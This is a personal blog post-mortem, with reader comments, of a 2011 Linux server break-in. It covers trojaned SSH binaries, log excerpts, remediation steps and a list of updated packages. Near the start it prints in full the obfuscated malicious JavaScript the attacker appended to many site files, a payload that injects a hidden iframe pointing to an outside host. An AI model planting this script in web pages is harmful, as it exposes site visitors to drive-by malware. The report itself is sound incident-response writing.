Post-mortem of security breach on my Linux server

By | September 16, 2011

On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I’m involved with.

(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks.┬áThe scheduled tasks aren’t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn’t generate any output and therefore shouldn’t cause cron to send email.)

All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn’t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.

It turned out that two Drupal files, /index.php and /includes/, had indeed had malicious JavaScript appended to the end of them:

<script>b=new function(){return 2;};if(!+b)String.prototype.test=”harC”;for(i in $=’esrhserh’)if(i==’te’+’st’)m=$[i];try{new Object().wehweh();}catch(q){ss=””;}try{window[‘e’+’v’+’al’](‘asdas’)}catch(q){s=String[“fr”+”omC”+m+”od”+’e’];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=”e”;if({}.asd===’e’)a=document[‘c’+’r’+’e’+’a’+’t’+’e’+’T’+’e’+’x’+’t’+’N’+’o’+’d’+’e’](‘321’);if(*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i<n.length;i++)ss+=s(eval(“n”+”[“+”i]”));eval(ss);</script>

Since this Drupal site is hardly used nowadays and hasn’t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site’s filesystem hierarchy. However, the thing I couldn’t immediately explain was that neither the modified files nor the directory they lived in were writable by the “apache” user which which owns the web server processes. I said to myself, “Either I’m missing something, or whoever did this had root access to my server.” Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.

Shortly after, when I was just about to leave the house to go to curriculum night at my kids’ school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it’s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn’t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.

Here’s an overview of what I discovered when I performed a full investigation and mitigation:

  • The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.
  • My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.
  • Several other web sites I host were hacked with the same JavaScript:
    • /index.php and /wp-feed.php on my WordPress blog
    • /charter.html and /index.html on a raw-HTML web site
    • /index.php on a CMS Made Simple web site
    • /index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)
    • /index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site
  • Here’s what the obfuscated JavaScript shown above tries to execute:
    if (document.getElementsByTagName('body')[0]) {
    else  {
    function iframer() {
        var f = document.createElement('iframe');
  • Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn’t. I didn’t try any other browsers.

Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.

Unfortunately, I can’t say exactly how the hacker broke into my server. It’s possible that he took advantage of an unpatched security hole in my virtual machine, but it’s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.

In addition to restoring all of the modified web site files and executables (I ran a complete audit with “rpm –verify -a” as well as comparing the whole filesystem to its previous night’s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:

  • I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.
  • I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn’t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.
  • I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).
  • I changed my own account password not only on my server, but also everywhere else where I used the same password.

More details about the method and content of the attack

Some interesting log entries from /var/log/secure around when the break-in happened:

Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for [] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for [] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for [] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for [] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for [] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)

I reviewed all of my logs, and this is the only trace I found of the attack (there didn’t even seem to be anything left behind in /root/.bash_profile, although I suppose it’s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.

It’s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24×7, but all of the messages above are considered normal so I wasn’t notified them. I would have been notified if sshd had logged “Accepted publickey|password for root from IP-address-that-I-don’t-usually-use,” but alas the hacker’s version of sshd suppressed this log message.

The following SSH executables were all modified at 12:36pm:

  • /usr/sbin/sshd
  • /usr/bin/ssh-keygen
  • /usr/bin/scp
  • /usr/bin/sftp
  • /usr/bin/ssh
  • /usr/bin/ssh-add
  • /usr/bin/ssh-agent
  • /usr/bin/ssh-keygen
  • /usr/bin/ssh-keyscan

In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The “file” utility claims that it is a “DBase 3 data file (507582464 records),” which is obviously totally bogus.

Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*

Full list of updated RPMs

Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.

RPM Old version New version
SysVinit 2.86-15.el5 2.86-17.el5
apr 1.2.7-11.el5_5.3 1.2.7-11.el5_6.5
apr-devel 1.2.7-11.el5_5.3 1.2.7-11.el5_6.5
audit 1.7.17-3.el5 1.7.18-2.el5
audit-libs 1.7.17-3.el5 1.7.18-2.el5
audit-libs-python 1.7.17-3.el5 1.7.18-2.el5
authconfig 5.3.21-6.el5 5.3.21-7.el5
avahi 0.6.16-9.el5_5 0.6.16-10.el5_6
avahi-glib 0.6.16-9.el5_5 0.6.16-10.el5_6
awstats 6.95-1.el5.rf 7.0-2.el5.rf
bash 3.2-24.el5 3.2-32.el5
centos-release 5-5.el5.centos 5-7.el5.centos
centos-release-notes 5.5-0 5.7-0
coreutils 5.97-23.el5_4.2 5.97-34.el5
cpp 4.1.2-48.el5 4.1.2-51.el5
cryptsetup-luks 1.0.3-5.el5 1.0.3-8.el5
cups-libs 1.3.7-18.el5_5.8 1.3.7-26.el5_6.1
curl 7.15.5-9.el5 7.15.5-9.el5_7.4
cyrus-imapd 2.3.7-7.el5_4.3 2.3.7-12.el5
cyrus-imapd-perl 2.3.7-7.el5_4.3 2.3.7-12.el5
cyrus-imapd-utils 2.3.7-7.el5_4.3 2.3.7-12.el5
dbus 1.1.2-14.el5 1.1.2-16.el5_7
dbus-devel 1.1.2-14.el5 1.1.2-16.el5_7
dbus-libs 1.1.2-14.el5 1.1.2-16.el5_7
device-mapper 1.02.39-1.el5_5.2 1.02.63-4.el5
device-mapper-multipath 0.4.7-34.el5_5.6 0.4.7-46.el5_7.1
dmidecode 2.10-3.el5 2.11-1.el5
dmraid 1.0.0.rc13-63.el5 1.0.0.rc13-65.el5
dmraid-events 1.0.0.rc13-63.el5 1.0.0.rc13-65.el5
e2fsprogs 1.39-23.el5_5.1 1.39-33.el5
e2fsprogs-devel 1.39-23.el5_5.1 1.39-33.el5
e2fsprogs-libs 1.39-23.el5_5.1 1.39-33.el5
emacs 21.4-20.el5 21.4-24.el5
emacs-common 21.4-20.el5 21.4-24.el5
finger 0.17- 0.17-33
gcc 4.1.2-48.el5 4.1.2-51.el5
gcc-c++ 4.1.2-48.el5 4.1.2-51.el5
gdb 7.0.1-23.el5_5.2 7.0.1-37.el5_7.1
gdbm 1.8.0-26.2.1 1.8.0-26.2.1.el5_6.1
ghostscript 8.15.2-9.12.el5_5 8.70-6.el5_7.3
giflib 4.1.3-7.1.el5_3.1 4.1.3-7.3.3.el5
glibc 2.5-49.el5_5.7 2.5-65
glibc-common 2.5-49.el5_5.7 2.5-65
glibc-devel 2.5-49.el5_5.7 2.5-65
glibc-headers 2.5-49.el5_5.7 2.5-65
gnome-vfs2 2.16.2-6.el5_5.1 2.16.2-8.el5
gzip 1.3.5-11.el5.centos.1 1.3.5-13.el5.centos
httpd 2.2.3-43.el5.centos.3 2.2.3-53.el5.centos.1
httpd-devel 2.2.3-43.el5.centos.3 2.2.3-53.el5.centos.1
hwdata 0.213.18-1.el5.1 0.213.24-1.el5
initscripts 8.45.30-3.el5.centos 8.45.38-2.el5.centos
jwhois 3.2.3-8.el5 3.2.3-12.el5
kernel-headers 2.6.18-194.32.1.el5 2.6.18-274.3.1.el5
kpartx 0.4.7-34.el5_5.6 0.4.7-46.el5_7.1
krb5-devel 1.6.1-36.el5_5.6 1.6.1-62.el5
krb5-libs 1.6.1-36.el5_5.6 1.6.1-62.el5
less 436-2.el5 436-7.el5
libXfont 1.2.2-1.0.3.el5_1 1.2.2-1.0.4.el5_7
libgcc 4.1.2-48.el5 4.1.2-51.el5
libgcj 4.1.2-48.el5 4.1.2-51.el5
libgomp 4.4.0-6.el5 4.4.4-13.el5
libpng 1.2.10-7.1.el5_5.3 1.2.10-7.1.el5_7.5
libselinux 1.33.4-5.5.el5 1.33.4-5.7.el5
libselinux-devel 1.33.4-5.5.el5 1.33.4-5.7.el5
libselinux-python 1.33.4-5.5.el5 1.33.4-5.7.el5
libselinux-utils 1.33.4-5.5.el5 1.33.4-5.7.el5
libsmbclient 3.0.33-3.29.el5_5.1 3.0.33-3.29.el5_7.4
libstdc++ 4.1.2-48.el5 4.1.2-51.el5
libstdc++-devel 4.1.2-48.el5 4.1.2-51.el5
libsysfs 2.0.0-6 2.1.0-1.el5
libtiff 3.8.2-7.el5_5.5 3.8.2-7.el5_6.7
libuser 0.54.7-2.1.el5_4.1 0.54.7-2.1.el5_5.2
libvolume_id 095-14.21.el5_5.1 095-14.27.el5
libxml2 2.6.26- 2.6.26-2.1.12
libxml2-devel 2.6.26- 2.6.26-2.1.12
libxml2-python 2.6.26- 2.6.26-2.1.12
logrotate 3.7.4-9.el5_5.2 3.7.4-12
logwatch 7.3-8.el5 7.3-9.el5_6
m2crypto 0.16-6.el5.6 0.16-8.el5
man 1.6d-1.1 1.6d-2.el5
man-pages 2.39-15.el5_4 2.39-17.el5
mod_ssl 2.2.3-43.el5.centos.3 2.2.3-53.el5.centos.1
mysql 5.0.77-4.el5_5.4 5.0.77-4.el5_6.6
mysql-server 5.0.77-4.el5_5.4 5.0.77-4.el5_6.6
nscd 2.5-49.el5_5.7 2.5-65
nspr 4.8.6-1.el5_5 4.8.8-1.el5_7
nss 3.12.8-1.el5.centos 3.12.10-4.el5.centos
nss_ldap 253-25.el5 253-42.el5
openldap 2.3.43-12.el5_5.3 2.3.43-12.el5_6.7
openldap-devel 2.3.43-12.el5_5.3 2.3.43-12.el5_6.7
openssh 4.3p2-41.el5_5.1 4.3p2-72.el5_7.5
openssh-clients 4.3p2-41.el5_5.1 4.3p2-72.el5_7.5
openssh-server 4.3p2-41.el5_5.1 4.3p2-72.el5_7.5
openssl 0.9.8e-12.el5_5.7 0.9.8e-20.el5
openssl-devel 0.9.8e-12.el5_5.7 0.9.8e-20.el5
openvpn 2.1.4-1.el5.rf 2.2.0-3.el5.rf
pango 1.14.9-8.el5.centos 1.14.9-8.el5.centos.2
passwd 0.73-1 0.73-2
patch 2.5.4-29.2.3.el5 2.5.4-31.el5
pciutils 2.2.3-8.el5_4 3.1.7-3.el5
pcre 6.6-2.el5_1.7 6.6-6.el5_6.1
perl 5.8.8-32.el5_5.2 5.8.8-32.el5_6.3
perl-Authen-SASL 2.15-1 2.15-1.el5.rf
perl-Class-Data-Inheritable 0.08-1 0.08-1.el5.rf
perl-DateTime 0.4305-1.el5.rf 0.5300-2.el5.rf
perl-Devel-PPPort 3.19_02 3.20
perl-Digest-SHA 5.48-1.el5.rf 5.50-1.el5.rf
perl-ExtUtils-MakeMaker 6.57_01 6.59
perl-GD 2.44-1.el5.rf 2.45-1.el5.rf
perl-JSON 2.17-1.el5.rf 2.50-1.el5.rf
perl-Lingua-EN-Inflect-Number 1.1-1 1.1-1.el5.rf
perl-MailTools 2.07-1.el5.rf 2.08-1.el5.rf
perl-NetAddr-IP 4.037-1.el5.rf 4.044-1.el5.rf
perl-Parse-RecDescent 1.965.1-1.el5.rf 1.965.1-2.el5.rf
perl-Pod-Simple 3.15-1.el5.rf 3.16-1.el5.rf
perl-Test-Pod 1.44-1.el5.rf 1.45-1.el5.rf
perl-Text-CSV 1.13-1.el5.rf 1.21-1.el5.rf
perl-Text-CSV_XS 0.71-1.el5.rf 0.80-1.el5.rf
perl-Time-Local 1.1901-1.el5.rf 1.2000-1.el5.rf
perl-WWW-Mechanize 1.56-1.el5.rf 1.66-1.el5.rf
perl-XSLoader 0.10 0.15
perl-suidperl 5.8.8-32.el5_5.2 5.8.8-32.el5_6.3
perl-version 0.86-1.el5.rf 0.91-1.el5.rf
postgresql 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-contrib 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-devel 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-libs 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-pl 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-python 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-server 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-tcl 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
postgresql-test 8.1.22-1.el5_5.1 8.1.23-1.el5_6.1
procps 3.2.7-16.el5 3.2.7-17.el5
psmisc 22.2-7 22.2-7.el5_6.2
pyOpenSSL 0.6-1.p24.7.2.2 0.6-2.el5
python 2.4.3-27.el5_5.3 2.4.3-44.el5
python-devel 2.4.3-27.el5_5.3 2.4.3-44.el5
python-urlgrabber 3.1.0-5.el5 3.1.0-6.el5
ruby 1.8.5-5.el5_4.8 1.8.5-19.el5_6.1
ruby-libs 1.8.5-5.el5_4.8 1.8.5-19.el5_6.1
samba-common 3.0.33-3.29.el5_5.1 3.0.33-3.29.el5_7.4
screen 4.0.3-1.el5_4.1 4.0.3-4.el5
sed 4.1.5-5.fc6 4.1.5-8.el5
sendmail 8.13.8-8.el5 8.13.8-8.1.el5_7
sendmail-cf 8.13.8-8.el5 8.13.8-8.1.el5_7
sendmail-devel 8.13.8-8.el5 8.13.8-8.1.el5_7
shadow-utils 4.0.17-15.el5 4.0.17-18.el5_6.1
sudo 1.7.2p1-9.el5_5 1.7.2p1-10.el5
talk 0.17-29.2.2 0.17-31.el5
tmpwatch 2.9.7-1.1.el5.2 2.9.7-1.1.el5.5
traceroute 2.0.1-5.el5 2.0.1-6.el5
tzdata 2010l-1.el5 2011h-2.el5
util-linux 2.13-0.52.el5_4.1 2.13-0.56.el5
vim-common 7.0.109-6.el5 7.0.109-7.el5
vim-enhanced 7.0.109-6.el5 7.0.109-7.el5
vim-minimal 7.0.109-6.el5 7.0.109-7.el5
vnc-server 4.1.2-14.el5_5.4 4.1.2-14.el5_6.6
vsftpd 2.0.5-16.el5_5.1 2.0.5-21.el5
xinetd 2.3.14-10.el5 2.3.14-13.el5
xorg-x11-font-utils 7.1-2 7.1-3
xorg-x11-xfs 1.0.2-4 1.0.2-5.el5_6.1
yum 3.2.22-26.el5.centos 3.2.22-37.el5.centos
yum-fastestmirror 1.1.16-14.el5.centos.1 1.1.16-16.el5.centos
yum-utils 1.1.16-14.el5.centos.1 1.1.16-16.el5.centos
zlib 1.2.3-3 1.2.3-4.el5
zlib-devel 1.2.3-3 1.2.3-4.el5
Print Friendly, PDF & Email

5 thoughts on “Post-mortem of security breach on my Linux server

  1. NEF

    I have the same log in my /var/log/secure file
    Any solution for this problem ?

    Sep 28 00:21:38 ns224934 sshd[12137]: reverse mapping checking getaddrinfo for failed – POSSIBLE BREAK-IN ATTEMPT!
    Sep 28 00:21:38 ns224934 sshd[12137]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost= user=root
    Sep 28 00:21:40 ns224934 sshd[12137]: Failed password for root from port 1829 ssh2
    Sep 28 00:21:40 ns224934 sshd[12141]: Received disconnect from 11: Goodbye
    Sep 28 00:22:03 ns224934 sshd[12331]: reverse mapping checking getaddrinfo for failed – POSSIBLE BREAK-IN ATTEMPT!
    Sep 28 00:22:03 ns224934 sshd[12331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost= user=root
    Sep 28 00:22:05 ns224934 sshd[12331]: Failed password for root from port 2690 ssh2
    Sep 28 00:22:05 ns224934 sshd[12332]: Received disconnect from 11: Goodbye
    Sep 28 00:22:30 ns224934 sshd[12479]: reverse mapping checking getaddrinfo for failed – POSSIBLE BREAK-IN ATTEMPT!

    1. jik Post author

      Those log messages look like unsuccessful attempts by someone to break into your system. There are no log messages in the excerpt above indicating that your sshd was restarted, nor are there any “session opened for user root” messages. In short, I don’t think you’ve been broken into. However, you should make sure you’ve got password authentication disabled for root in /etc/ssh/sshd_config (“PermitRootLogin without-password”), and if you see a lot of break-in attempts on your server, you should run something like fail2ban to block people from engaging in password-guessing attacks.

  2. victim

    I suspected an attack on my server when I started getting errors and db connection problems.

    When I got this message on of my virutual domains..
    “Warning: Cannot modify header information – headers already sent”
    I looked at the header source code and saw the same code starting with “b=new” that you have posted above. I searched for some unique strings in that code in google which is what brought me here.

    I am not sure if all my virtual domains have been compromised but the one that was is a Joomla 1.5 site. It was hacked before with different code inserted and I installed everything fresh again a few times since. For some reason the same domain keeps getting hit. Hard to believe it is the joomla code since I installed the most updated code with the latest security patches. With what you posted it makes me think my ssh files have been compromised as well, but why would the hacker be always choosing the same virtual domain to put his code into? Unless my particular domain has been put on a/his/hackers compromised list to return to.

    Not sure how to proceed just yet to clean things up. I think I even reinstalled a new VPS at one time because this domain was continually hit.

    I think my next step will be just to host this domain on it’s own VPS to isolate any future attacks.

    I just thought I would post my basic info incase it would help others or if anyone had suggestions, questions or comments to add.

    1. jik Post author

      Presumably your server keeps getting broken into because you haven’t patched whatever vulnerability they are using to break into it.

      Did you update all of the base OS software to ensure you’ve got all known security patches applied? Have you checked your SSH logs to see if there’s anything odd there? Are you running fail2ban or something else to prevent people from doing password-guessing attacks against your server? Have you disabled password logins for root?

      If you’re not actively maintaining the security of your server, the odds are that it’s eventually going to get broken into. Yeah, that sucks, but that’s life.


Leave a Reply

Your email address will not be published.